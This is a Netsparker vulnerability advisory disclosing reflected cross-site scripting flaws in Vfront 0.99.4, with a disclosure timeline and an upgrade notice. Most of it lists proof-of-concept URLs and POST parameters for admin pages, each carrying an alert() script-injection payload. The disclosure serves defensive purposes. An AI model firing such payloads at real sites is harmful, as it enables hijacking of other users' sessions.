Information
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Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in Vfront
Affected Software : Vfront
Affected Versions: 0.99.4
Vendor Homepage : http://www.vfront.org/  
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-17-023

Technical Details
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Proof of Concept URLs for XSS vulnerabilities in Vfront 0.99.4;

Url /vfront-0.99.4/admin/doc_tecnica.php/'"--></style></scRipt><scRipt>alert(0x000D49)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x000D49)</scRipt>

Url /vfront-0.99.4/admin/export_data.php/'"--></style></scRipt><scRipt>alert(0x0005BA)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x0005BA)</scRipt>

Url /vfront-0.99.4/admin/export_sql.php/'"--></style></scRipt><scRipt>alert(0x00045D)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x00045D)</scRipt>

Url /vfront-0.99.4/admin/gestione_tabelle_gruppi.php?gid='"--></style></scRipt><scRipt>alert(0x0010CC)</scRipt>&mass=visibile_all
Parameter Name gid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0010CC)</scRipt>

Url /vfront-0.99.4/admin/gestione_tabelle_gruppi.php?gid='"--></style></scRipt><scRipt>alert(0x003029)</scRipt>&ord=2&sort=a
Parameter Name gid
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003029)</scRipt>

Url /vfront-0.99.4/admin/gestione_tabelle_gruppi.php/'"--></style></scRipt><scRipt>alert(0x0010CA)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x0010CA)</scRipt>

Url /vfront-0.99.4/admin/log.php/'"--></style></scRipt><scRipt>alert(0x000689)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x000689)</scRipt>

Url /vfront-0.99.4/admin/nuovo_gruppo.php
Parameter Name nome_gr
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x002E43)</scRipt>

Url /vfront-0.99.4/admin/nuovo_gruppo.php/'"--></style></scRipt><scRipt>alert(0x000F9B)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x000F9B)</scRipt>

Url /vfront-0.99.4/admin/themes.php/'"--></style></scRipt><scRipt>alert(0x00090D)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x00090D)</scRipt>

Url /vfront-0.99.4/admin/utenze.db.php/'"--></style></scRipt><scRipt>alert(0x0003E0)</scRipt>
Parameter Name URI-BASED
Parameter Type Full URL
Attack Pattern /'"--></style></scRipt><scRipt>alert(0x0003E0)</scRipt>

Url /vfront-0.99.4/admin/xmlreport.php?creanew
Parameter Name tipo_report
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0052C4)</scRipt>

Url /vfront-0.99.4/admin/xmlreport.php?creanew
Parameter Name accesso
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00508C)</scRipt>

Url /vfront-0.99.4/admin/xmlreport.php?creanew
Parameter Name tabella
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0052C2)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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02 Feb 2017 - Issue reported.
03 May 2017 - Vendor fixed.
25 May 2017 - Advisory released.

Solution
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Download the latest version of Vfront.

Credits & Authors
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These issues have been discovered by Enes Aslanbakan while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.

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